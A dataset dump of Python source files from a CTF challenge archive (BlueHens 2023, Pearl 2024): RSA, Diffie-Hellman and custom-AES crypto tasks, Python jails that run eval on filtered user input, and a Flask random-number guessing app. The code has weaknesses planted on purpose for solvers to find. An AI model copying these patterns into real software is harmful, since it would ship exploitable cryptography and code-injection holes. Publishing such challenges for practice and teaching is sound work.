repo
stringlengths
7
90
file_url
stringlengths
81
315
file_path
stringlengths
4
228
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
7 values
commit_sha
stringlengths
40
40
retrieved_at
stringdate
2026-01-04 14:38:15
2026-01-05 02:33:18
truncated
bool
2 classes
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Forest_For_The_Trees/server.py
ctfs/BlueHens/2023/misc/Forest_For_The_Trees/server.py
import json from graph import Graph, Isomorphism import random import typing import os r = random.SystemRandom() ROUNDS = 16 r = random.SystemRandom() with open("public_key.json",'r') as f: key = list(map(Graph.from_dict,json.load(f))) with open("flag.txt",'r') as f: flag = f.read() def authenticate(key: typing.List[Graph]): Graphs = [Graph.from_dict(json.loads(input().strip())) for _ in range(ROUNDS)] challenges = os.urandom((ROUNDS//8)+1 if ROUNDS % 8 != 0 else ROUNDS//8) print(challenges.hex()) challenges = int.from_bytes(challenges,'big') for G2 in Graphs: challenge = challenges % 2 tau = Isomorphism.loads(key[challenge],input().strip()) if not key[challenge].check_mapping(G2,tau): return False challenges >>= 1 return True try: if authenticate(key): print("y") print(flag) else: print("n") except: print("n")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Modular_Authenticator_2/client.py
ctfs/BlueHens/2023/misc/Modular_Authenticator_2/client.py
import random import asyncio import json import itertools #For local testing HOST = "localhost" PORT = 3000 ROUNDS = 128 RANDOM = random.SystemRandom() async def main(): coro = asyncio.open_connection(HOST,PORT) with open("public_key.json","r") as f: public_key = json.loads(f.read()) with open("private_key.json","r") as f: private_key = json.loads(f.read()) N = public_key["N"] secret = private_key["s"] e = public_key["e"] reader, writer = await coro try: randoms = tuple([RANDOM.randint(2,1<<32) for _ in range(ROUNDS)]) writer.write(json.dumps([pow(r,e,N) for r in randoms]).encode('utf-8') + b'\r\n') await writer.drain() challenges = json.loads((await reader.readline()).decode('utf-8')) if not isinstance(challenges,list): raise ValueError(f"The server responded with something other than a list of challenges: {challenges}") responses = [] for challenge, i in zip(challenges,itertools.count()): if challenge == 'r': responses.append(randoms[i]) elif challenge == 'rs': responses.append((randoms[i]*secret) % N) else: raise ValueError(f"The server requested unknown challenge {challenge}") writer.write(json.dumps(responses).encode('utf-8') + b'\r\n') await writer.drain() print(await reader.read()) finally: #Be a good citizen and close the connection. writer.close() await writer.wait_closed() if __name__ == "__main__": asyncio.run(main())
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Modular_Authenticator_2/server.py
ctfs/BlueHens/2023/misc/Modular_Authenticator_2/server.py
import random import json import logging import os pid = os.getpid() logging.basicConfig(filename="auth.log",level=logging.INFO,format=f"{pid}:%(message)s") RAND = random.SystemRandom() class InvalidInputException(Exception): pass class AuthenticationException(Exception): pass def get_inputs(cnt, lower_bound, upper_bound): try: data = json.loads(input()) except json.JSONDecodeError as J: raise InvalidInputException("Invalid JSON") from J if not isinstance(data, list) or len(data) != cnt: raise InvalidInputException(f"Invalid response. Expected list of length {cnt}.") for item in data: if not isinstance(item,int): raise InvalidInputException(f"Invalid response: {item} is not an integer.") elif item < lower_bound or item > upper_bound: raise InvalidInputException(f"Invalid response: {item} is not in the interval [{lower_bound},{upper_bound}]") return data def authenticate(rounds, ssq, e, N): logging.info("Client connected, beginning authentication.") squares = get_inputs(rounds,2,N-2) logging.info(f"got initial randoms") requests = RAND.choices(("r","rs"),k=rounds) logging.info(f"Sent challenges") print(json.dumps(requests)) responses = get_inputs(rounds,2,N-2) for expected, response, rsq in zip(requests,responses,squares): logging.info(f"challenge: {expected}, response: {response}, initial: {rsq}") if expected == "r" and pow(response,e,N) != rsq: logging.warning(f"{response}**{e} != {rsq}") raise AuthenticationException(f"{response}**{e} != {rsq}") elif expected == "rs" and pow(response,e,N) != ((rsq * ssq) % N): logging.warning(f"{response}**{e} != {rsq}*{ssq}") raise AuthenticationException(f"{response}**{e} != {rsq}*{ssq}") logging.info("round passed.") if __name__ == "__main__": ROUNDS = 128 with open("public_key.json",'r') as f: public_key=json.loads(f.read()) N = public_key["N"] ssq = public_key["s^2"] e = public_key['e'] authenticate(ROUNDS,ssq,e,N) print("Authentication successful.") with open("flag.txt",'r') as f: print(f.read())
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Modular_Authenticator/gen_key.py
ctfs/BlueHens/2023/misc/Modular_Authenticator/gen_key.py
from Crypto.Util import number import random import json import math rand = random.SystemRandom() e = 65536 p = number.getStrongPrime(2048) print(math.gcd(e,p-1)) s = rand.randint(2,p-2) ssq = pow(s,e,p) public_key = { "p": p, "s^e": ssq, "e": e } private_key = { "s": s } with open("private_key.json",'w') as f: f.write(json.dumps(private_key)) with open("public_key.json","w") as f: f.write(json.dumps(public_key))
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/misc/Modular_Authenticator/server.py
ctfs/BlueHens/2023/misc/Modular_Authenticator/server.py
import random import json import os pid = os.getpid() RAND = random.SystemRandom() class InvalidInputException(Exception): pass class AuthenticationException(Exception): pass def get_inputs(cnt, lower_bound, upper_bound): try: data = json.loads(input()) except json.JSONDecodeError as J: raise InvalidInputException("Invalid JSON") from J if not isinstance(data, list) or len(data) != cnt: raise InvalidInputException(f"Invalid response. Expected list of length {cnt}.") for item in data: if not isinstance(item,int): raise InvalidInputException(f"Invalid response: {item} is not an integer.") elif item < lower_bound or item > upper_bound: raise InvalidInputException(f"Invalid response: {item} is not in the interval [{lower_bound},{upper_bound}]") return data def authenticate(rounds, ssq, e, p): squares = get_inputs(rounds,2,p-2) requests = RAND.choices(("r","rs"),k=rounds) print(json.dumps(requests)) responses = get_inputs(rounds,2,p-2) for expected, response, rsq in zip(requests,responses,squares): if expected == "r" and pow(response,e,p) != rsq: raise AuthenticationException(f"{response}**{e} != {rsq}") elif expected == "rs" and pow(response,e,p) != ((rsq * ssq) % p): raise AuthenticationException(f"{response}**{e} != {rsq}*{ssq}") if __name__ == "__main__": ROUNDS = 128 with open("public_key.json",'r') as f: public_key=json.loads(f.read()) with open("flag.txt",'r') as f: flag = f.read() p = public_key["p"] ssq = public_key["s^e"] e = public_key['e'] authenticate(ROUNDS,ssq,e,p) print(flag)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_6th_Grade/Sixth_Grade.py
ctfs/BlueHens/2023/crypto/RSA_School_6th_Grade/Sixth_Grade.py
from Crypto.Util.number import * msg=b'UDCTF{REDACTED}' pt=bytes_to_long(msg) p1=getPrime(512) q1=getPrime(512) N1=p1*q1 e=3 ct1=pow(pt,e,N1) p2=getPrime(512) q2=getPrime(512) N2=p2*q2 ct2=pow(pt,e,N2) p3=getPrime(512) q3=getPrime(512) N3=p3*q3 ct3=pow(pt,e,N3) print(N1) print(N2) print(N3) print(e) print(ct1) print(ct2) print(ct3)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_8th_Grade/Eigth_Grade.py
ctfs/BlueHens/2023/crypto/RSA_School_8th_Grade/Eigth_Grade.py
from sympy import * from Crypto.Util.number import * import random p=getPrime(512) q = nextprime(p + random.randint(10**9,10**10)) N=p*q msg=b'UDCTF{REDACTED}' pt = bytes_to_long(msg) e = 65537 ct = pow(pt, e, N) print(N) print(e) print(ct)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_7th_Grade/Seventh_Grade.py
ctfs/BlueHens/2023/crypto/RSA_School_7th_Grade/Seventh_Grade.py
from Crypto.Util.number import * import sympy.ntheory as nt import random p=getPrime(1024) q=nt.nextprime(p) for _ in range(random.randint(500,10000)): q=nt.nextprime(q) N=p*q msg="UDCTF{REDACTED}" pt=bytes_to_long(msg) e=65537 ct=pow(pt,e,N) print(N) print(e) print(ct)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_2nd_Grade/Second_Grade.py
ctfs/BlueHens/2023/crypto/RSA_School_2nd_Grade/Second_Grade.py
from Crypto.Util.number import * n=166045890368446099470756111654736772731460671003059151938763854196360081247044441029824134260263654537 e=65537 msg=bytes_to_long(b'UDCTF{REDACTED}') ct=pow(msg,e,n) print(n) print(e) print(ct)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_4th_Grade/Fourth_Grade.py
ctfs/BlueHens/2023/crypto/RSA_School_4th_Grade/Fourth_Grade.py
from Crypto.Util.number import * e=65537 your_e = getPrime(20) msg=bytes_to_long(b'UDCTF{REDACTED}') p=getPrime(512) q=getPrime(512) n=p*q assert(msg < n) ct=pow(msg, e, n) your_d = inverse(your_e, (p-1)*(q-1)) print(your_e) print(your_d) print(n) print(e) print(ct)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_1st_Grade/First_Grade.py
ctfs/BlueHens/2023/crypto/RSA_School_1st_Grade/First_Grade.py
from Crypto.Util.number import * p=getPrime(512) q=getPrime(512) n=p*q e=65537 msg=bytes_to_long(b'UDCTF{REDACTED}') ct=pow(msg,e,n) print(p) print(n) print(e) print(ct)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/alice.py
ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/alice.py
import alice_secret from pwn import * import hashlib from Crypto.Cipher import AES from Crypto.Util import Padding GENERATOR = 2 KEY_BYTES = 16 PRIME_BITS = 2048 def main(primes)->str: prc = process(['python3', 'server.py']) try: p = int(prc.recvline().decode('utf-8'),16) if p not in primes: raise ValueError(f"Server responded with invalid prime: {p}") A = pow(GENERATOR,alice_secret.a,p) prc.sendline(hex(A)[2:].encode('utf-8')) B = int(prc.recvline().decode('utf-8'),16) ct = bytes.fromhex(prc.recvline().decode('utf-8')) ss = pow(B,alice_secret.a,p) key = hashlib.sha256(ss.to_bytes(PRIME_BITS//8,'big')).digest()[:KEY_BYTES] cipher = AES.new(key,AES.MODE_CBC,iv=ct[:AES.block_size]) return Padding.unpad(cipher.decrypt(ct[AES.block_size:]),AES.block_size).decode('utf-8') finally: prc.kill() if __name__ == "__main__": with open("strong_primes",'r') as f: primes = set(map(lambda p: int(p.strip(),16),f)) print(main(primes))
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/gen_agreed_primes.py
ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/gen_agreed_primes.py
from Crypto.Util import number import multiprocessing COUNT = 1024 SIZE = 2048 with multiprocessing.Pool(multiprocessing.cpu_count()) as pool: with open("strong_primes",'w') as f: for p in pool.imap_unordered(number.getStrongPrime,[SIZE for _ in range(COUNT)]): f.write(hex(p)[2:] + '\n')
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/server.py
ctfs/BlueHens/2023/crypto/Strong_Primes_Are_Safe/server.py
import random from Crypto.Util import number, Padding from Crypto.Cipher import AES import flag import logging import hashlib import json GENERATOR = 2 KEY_BYTES = 16 PRIME_BITS = 2048 logging.basicConfig(filename="auth.log",level=logging.INFO,format="%(message)s") def authenticate(primes): RAND = random.SystemRandom() p: int = RAND.choice(primes) b = RAND.randint(2,p-2) print(hex(p)[2:]) A = int(input(),16) B = pow(GENERATOR,b,p) print(hex(B)[2:]) ss = hashlib.sha256(pow(A,b,p).to_bytes(PRIME_BITS//8,'big')).digest()[:KEY_BYTES] iv = RAND.getrandbits(AES.block_size*8) iv = iv.to_bytes(AES.block_size,'big') cipher = AES.new(ss,AES.MODE_CBC,iv=iv) ct = cipher.encrypt(Padding.pad(flag.FLAG,AES.block_size)) print(iv.hex() + ct.hex()) logging.info(json.dumps({ "ct": ct.hex(), 'iv': iv.hex(), "B": hex(B)[2:], "A": hex(A)[2:], "p": hex(p)[2:] })) with open("strong_primes",'r') as f: primes = [int(p.strip(),16) for p in f] authenticate(primes)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_5th_Grade/Fifth_Grade.py
ctfs/BlueHens/2023/crypto/RSA_School_5th_Grade/Fifth_Grade.py
from Crypto.Util.number import * msg=b"UDCTF{REDACTED}" pt=bytes_to_long(msg) p=getPrime(1024) q=getPrime(1024) N=p*q e=3 ct=pow(pt,e,N) print(N) print(e) print(ct)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BlueHens/2023/crypto/RSA_School_3rd_Grade/Third_Grade.py
ctfs/BlueHens/2023/crypto/RSA_School_3rd_Grade/Third_Grade.py
from Crypto.Util.number import * p=getPrime(512) q=getPrime(512) n=p*q e1=71 e2=101 msg=bytes_to_long(b'UDCTF{REDACTED}') c1 = pow(msg, e1, n) c2 = pow(msg, e2, n) print(n) print(e1) print(e2) print(c1) print(c2)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/misc/TooRandom/main.py
ctfs/Pearl/2024/misc/TooRandom/main.py
from flask import Flask from flask import render_template from flask import redirect from flask import request import random app = Flask(__name__) app.secret_key = "secret_key" seed = random.getrandbits(32) random.seed(seed) flag_no = None def generate_user_ids(): global flag_no random_numbers = [] for i in range(1000000): random_number = random.getrandbits(32) random_numbers.append(random_number) flag_no = random_numbers[-1] print(flag_no) st_id = 624 end_id = 999999 del random_numbers[st_id:end_id] return random_numbers user_ids = generate_user_ids() j = 0 @app.route('/') def home(): return redirect('/dashboard') @app.route('/dashboard', methods=['GET', 'POST']) def dashboard(): global j id_no = user_ids[j%624] j += 1 if request.method == 'POST': number = int(request.form['number']) if number == flag_no: return redirect('/flagkeeper') else: return redirect('/wrongnumber') return render_template('dashboard.html', number=id_no) @app.route('/flagkeeper') def flagkeeper_dashboard(): return render_template('flag_keeper.html', user_id=flag_no) @app.route('/wrongnumber') def wrong_number(): return render_template('wrong_number.html') if __name__ == '__main__': app.run(debug=False, host="0.0.0.0")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/misc/b4by_jail/source.py
ctfs/Pearl/2024/misc/b4by_jail/source.py
#!/usr/local/bin/python import time flag="pearl{f4k3_fl4g}" blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789") def banner(): file=open("txt.txt","r").read() print(file) def check_blocklist(string): for i in string: if i in blacklist: return(0) return(1) def main(): banner() cmd=input(">>> ") time.sleep(1) if(check_blocklist(cmd)): try: print(eval(cmd)) except: print("Sorry no valid output to show.") else: print("Your sentence has been increased by 2 years for attempted escape.") main()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/misc/jail_time/source.py
ctfs/Pearl/2024/misc/jail_time/source.py
#!/usr/local/bin/python import blackbox as blackbox import time flag="pearl{j4il_time}" def banner(): file=open("txt.txt","r").read() print(file) def main(): banner() cmd=input(">>> ") time.sleep(2) cmd=blackbox.normalise(cmd) if(blackbox.check_blocklist(cmd)): try: print(eval(eval(cmd))) except: print("Sorry no valid output to show.") else: print("Your sentence has been increased by 2 years for attempted escape.") main()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/game/Guesso/challenge.py
ctfs/Pearl/2024/game/Guesso/challenge.py
#!/usr/local/bin/python import gensim import numpy as np from gensim.matutils import unitvec import signal MODEL_NAME = "" TIMEOUT_TIME = 5 words = [] vectors = np.array([]) word_vectors = {} class TimeoutException(Exception): pass def timeout_handler(signum, frame): raise TimeoutException("Input timed out") def load_model(): global words, vectors, word_vectors try: model = gensim.models.KeyedVectors.load_word2vec_format(MODEL_NAME, binary=True) words = [w for w in model.index_to_key if w.lower() == w] vectors = np.array([unitvec(model[w]) for w in words]) word_vectors = {k: v for k, v in zip(words, vectors)} except: print(f"Error loading model") exit(1) def similarity(guess, target): val = np.dot(word_vectors[guess], word_vectors[target]) return abs(round(val * 100, 2)) def word_guess_challenge(): global words, word_vectors target_word = np.random.choice(words) print(f"Welcome to the Word Guess Challenge!\nYou have 5 attempts to guess the word based on the similarity hints.") for attempt in range(1, 6): while True: signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(TIMEOUT_TIME) try: user_guess = input(f"\nAttempt {attempt}: Enter your guess: ").lower().strip() if user_guess in words: break else: print("Error: The entered word is not in the model vocabulary. Try another word.") except TimeoutException: print("\nError: Input timed out. Exiting the program.") exit(1) finally: signal.alarm(0) sim_score = similarity(user_guess, target_word) if user_guess == target_word: print(f"Congratulations! You guessed the correct word '{target_word}' in {attempt} attempts.") print("pearl{n0t_th3_fl4g}") break else: print(f"Similarity to the target word: {sim_score}") if user_guess != target_word: print(f"Sorry, you did not guess the correct word. ") if __name__ == '__main__': load_model() word_guess_challenge()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/3_spies/encrypt.py
ctfs/Pearl/2024/crypto/3_spies/encrypt.py
#!/usr/bin/env python3 from Crypto.Util.number import getPrime, bytes_to_long with open('flag.txt', 'rb') as f: flag = f.read() n1 = getPrime(512)*getPrime(512) n2 = getPrime(512)*getPrime(512) n3 = getPrime(512)*getPrime(512) e=3 m = bytes_to_long(flag) c1 = pow(m,e,n1) c2 = pow(m,e,n2) c3 = pow(m,e,n3) with open('encrypted-messages.txt', 'w') as f: f.write(f'n1: {n1}\n') f.write(f'e: {e}\n') f.write(f'c1: {c1}\n\n') f.write(f'n2: {n2}\n') f.write(f'e: {e}\n') f.write(f'c2: {c2}\n\n') f.write(f'n3: {n3}\n') f.write(f'e: {e}\n') f.write(f'c3: {c3}\n')
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/syntelestis/chall.py
ctfs/Pearl/2024/crypto/syntelestis/chall.py
from Crypto.Util.number import getPrime, inverse from random import randint from secret import flag p = getPrime(256) print(f"p = {p}") k = list() flag = flag.hex().encode() for i in range(len(flag) - 20): g = [] h = [] for j in range(0, len(flag), 2): a, b = flag[j], flag[j + 1] m, n = randint(0, p - 1), randint(0, p - 1) c, d = m * a, n * b e, f = pow(inverse(c, p) + inverse(d, p), 2, p), (m ** 2 * inverse(c, p) * n ** 2 * inverse(d, p)) % p g += [m, n] h.append(e * inverse(f, p) % p) g.append(sum(h) % p) k.append(g) print(f"k = {k}")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/Babys_Message_Out/chall.py
ctfs/Pearl/2024/crypto/Babys_Message_Out/chall.py
#!/usr/bin/env python3 from Crypto.Util.number import getPrime, isPrime, bytes_to_long from flag import FLAG from math import log import sys n = pow(10, 5) sys.setrecursionlimit(n) def nextPrime(p): if isPrime(p): return p else: return nextPrime(p + 61) p = getPrime(256) q = nextPrime(nextPrime(17*p + 1) + 3) r = nextPrime(29*p*q) s = nextPrime(q*r + p) t = nextPrime(r*s*q) n = p*q*r*s*t e = 65537 m = bytes_to_long(FLAG.encode()) c = pow(m, e, n) print(f"c: {c}") print(f"n: {n}")
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/Security++/secure.py
ctfs/Pearl/2024/crypto/Security++/secure.py
from flag import flag, key from base64 import b64encode from enc import encrypt_block, pad def encrypt(data: bytes): pt = data + flag pt = pad(pt) block_count = len(pt) // 16 encText = b'' for i in range(block_count): if i % 2 == 0: encText += encrypt_block(pt[i * 16:i * 16 + 16], key[0:16]) else: encText += encrypt_block(pt[i * 16:i * 16 + 16], key[16:]) return encText def main(): while 1: msg = input("\nEnter plaintext: ").strip() res = encrypt(msg.encode()) print(b64encode(res).decode()) if __name__ == '__main__': main()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/Security++/enc.py
ctfs/Pearl/2024/crypto/Security++/enc.py
from copy import copy s_box = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, ) def bytes2matrix(text): return [list(text[i:i + 4]) for i in range(0, len(text), 4)] def matrix2bytes(m): plaintext = b'' for row in range(4): for j in range(4): plaintext += chr(m[row][j]).encode('latin-1') return plaintext def pad(text: bytes): if len(text) % 16 != 0: pad_len = ((len(text) // 16) + 1) * 16 - len(text) else: pad_len = 0 text = text.ljust(len(text) + pad_len, b'.') return text def sub_bytes(state, sbox): for i in range(len(state)): for j in range(4): state[i][j] = sbox[state[i][j]] return state def shift_rows(s): s[1][0], s[1][1], s[1][2], s[1][3] = s[1][1], s[1][2], s[1][3], s[1][0] s[2][0], s[2][1], s[2][2], s[2][3] = s[2][2], s[2][3], s[2][0], s[2][1] s[3][0], s[3][1], s[3][2], s[3][3] = s[3][3], s[3][0], s[3][1], s[3][2] return s def gmul(a, b): if b == 1: return a tmp = (a << 1) & 0xff if b == 2: return tmp if a < 128 else tmp ^ 0x1b if b == 3: return gmul(a, 2) ^ a def mix_col(col): temp = copy(col) col[0] = gmul(temp[0], 2) ^ gmul(temp[1], 3) ^ gmul(temp[2], 1) ^ gmul(temp[3], 1) col[1] = gmul(temp[0], 1) ^ gmul(temp[1], 2) ^ gmul(temp[2], 3) ^ gmul(temp[3], 1) col[2] = gmul(temp[0], 1) ^ gmul(temp[1], 1) ^ gmul(temp[2], 2) ^ gmul(temp[3], 3) col[3] = gmul(temp[0], 3) ^ gmul(temp[1], 1) ^ gmul(temp[2], 1) ^ gmul(temp[3], 2) return col def add_round_key(state, round_key): for i in range(len(state)): for j in range(len(state[0])): state[i][j] = state[i][j] ^ round_key[i][j] return state def encrypt_block(ptext: bytes, key): cipher = ptext rkey = bytes2matrix(key) for i in range(10): ctext = bytes2matrix(cipher) ctext = sub_bytes(ctext, s_box) ctext = shift_rows(ctext) temp = copy(ctext) for j in range(4): column = [temp[0][j], temp[1][j], temp[2][j], temp[3][j]] column = mix_col(column) for k in range(4): ctext[k][j] = column[k] ctext = add_round_key(ctext, rkey) cipher = matrix2bytes(ctext) return cipher
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Pearl/2024/crypto/three_letter_acronyms/chall.py
ctfs/Pearl/2024/crypto/three_letter_acronyms/chall.py
